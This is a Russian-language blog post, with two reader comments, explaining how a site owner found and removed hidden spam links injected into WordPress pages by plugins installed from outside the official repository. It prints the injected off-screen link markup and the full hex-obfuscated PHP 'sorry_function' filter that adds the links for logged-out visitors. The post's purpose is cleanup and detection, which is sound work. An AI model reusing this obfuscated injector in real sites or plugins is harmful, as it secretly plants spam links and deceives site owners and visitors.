Вредоносный текст появился на страницах сайта… Как от него избавиться? Предлагаю вашему вниманию частный случай, который поможет вам конкретно избавиться от одного зловредного кода.
Вчера я установил несколько плагинов для Wordpress, как вдруг на страницах сайта появились скрытые ссылки на посторонние ресурсы. Я просканировал сайт на вирусы на VirusTotal, Dr.Web и Kaspersky VirusDesk — ничего не обнаружено. Сайт чист. Однако, не мои ссылки присутствуют там, где их быть не должно. И, похоже, сами по себе исчезать не хотят.
На страницах сайта при просмотре HTML source появляется такой код:
<div style="position: absolute; top: 0; left: -9999px;">Want create site? Find <a href="http://dlwordpress.com/">Free WordPress Themes</a> and plugins.</div>
А в конце страницы еще и такой:
<div style="position: absolute; top: 0; left: -9999px;">Did you find apk for android? You can find new <a href="https://dlandroid24.com/">Free Android Games</a> and apps.</div>
Для посетителя эти ссылки не видны, потому что <div style="position: absolute; top: 0; left: -9999px;"></div>
указывает на их практическую невидимость, однако ссылки видны поисковым роботам, а также при постинге ссылки в социальной сети. Естественно, вес страницы в глазах поисковой системы уменьшается.
После долгих поисков удалось, наконец-то, обнаружить зловредный код, который вызывал появление ссылок.
Проблема, как оказалось, связана с некоторыми плагинами, установленными не из репозитория Wordpress. Код нашелся в основных файлах плагинов и был замаскирован шестнадцатеричным кодом:
if( ! function_exists('sorry_function')){
function sorry_function($content) {
if (is_user_logged_in()){return $content;} else {if(is_page()||is_single()){
$vNd25 = "\74\144\151\x76\40\163\x74\x79\154\145\x3d\42\x70\157\x73\151\164\x69\x6f\x6e\72\141\x62\x73\x6f\154\165\164\145\73\164\157\160\x3a\60\73\154\145\146\x74\72\55\71\71\x39\71\x70\170\73\42\x3e\x57\x61\x6e\x74\40\x63\162\145\x61\x74\x65\40\163\151\164\x65\x3f\x20\x46\x69\x6e\x64\40\x3c\x61\x20\x68\x72\145\146\75\x22\x68\x74\164\x70\72\x2f\57\x64\x6c\x77\x6f\162\144\x70\x72\x65\163\163\x2e\x63\x6f\x6d\57\42\76\x46\x72\145\145\40\x57\x6f\x72\x64\x50\162\x65\163\x73\x20\124\x68\x65\155\145\x73\x3c\57\x61\76\40\x61\x6e\144\x20\x70\x6c\165\147\x69\156\x73\x2e\x3c\57\144\151\166\76";
$zoyBE = "\74\x64\x69\x76\x20\x73\x74\171\154\145\x3d\x22\x70\157\163\x69\x74\x69\x6f\156\x3a\141\142\163\x6f\154\x75\164\x65\x3b\x74\157\160\72\x30\73\x6c\x65\x66\164\72\x2d\x39\71\71\x39\x70\x78\73\42\x3e\104\x69\x64\x20\x79\x6f\165\40\x66\x69\156\x64\40\141\x70\153\40\146\157\162\x20\x61\156\144\162\x6f\151\144\77\40\x59\x6f\x75\x20\x63\x61\156\x20\146\x69\x6e\x64\40\156\145\167\40\74\141\40\150\162\145\146\x3d\x22\150\x74\x74\160\163\72\57\x2f\x64\154\x61\156\x64\x72\157\151\x64\62\x34\56\x63\x6f\155\x2f\42\x3e\x46\x72\145\x65\40\x41\x6e\x64\x72\157\151\144\40\107\141\x6d\145\x73\74\x2f\x61\76\40\x61\156\x64\x20\x61\160\x70\163\x2e\74\x2f\x64\x69\x76\76";
$fullcontent = $vNd25 . $content . $zoyBE; } else { $fullcontent = $content; } return $fullcontent; }}
add_filter('the_content', 'sorry_function');}
После удаления этого кода во всех файлах проблема была решена. Можно было также просто снести плагин, но это уже личное дело каждого.
После этого я еще раз проверил все файлы, но уже не в ручную, а по ключевому слову sorry_function с помощью простого текстового редактора PSPad. Больше ничего не нашлось, с счастью.
Это частный случай из моей практики. Если вы просто захотите проверить свой сайт на предмет чистоты от вирусов, то это можно сделать здеь:
VirusTotal
https://www.virustotal.com
Бесплатный онлайн-сканер Dr.Web для проверки подозрительных файлов и ссылок
https://vms.drweb.ru/online/?lng=ru
Kaspersky VirusDesk
https://virusdesk.kaspersky.ru
2 комментария
Здравствуйте. Не подскажите что за плагин был? Такая же проблема — не могу найти где зарылась пакость ((
Иван, сайт, который описан в статье, был моей работой на заказ. Плагины, которые были загажены вредным кодом, я уже и не помню.
Проверьте все плагины, скаченные НЕ из репозитория вордпресс. По ключевому слову sorry_function.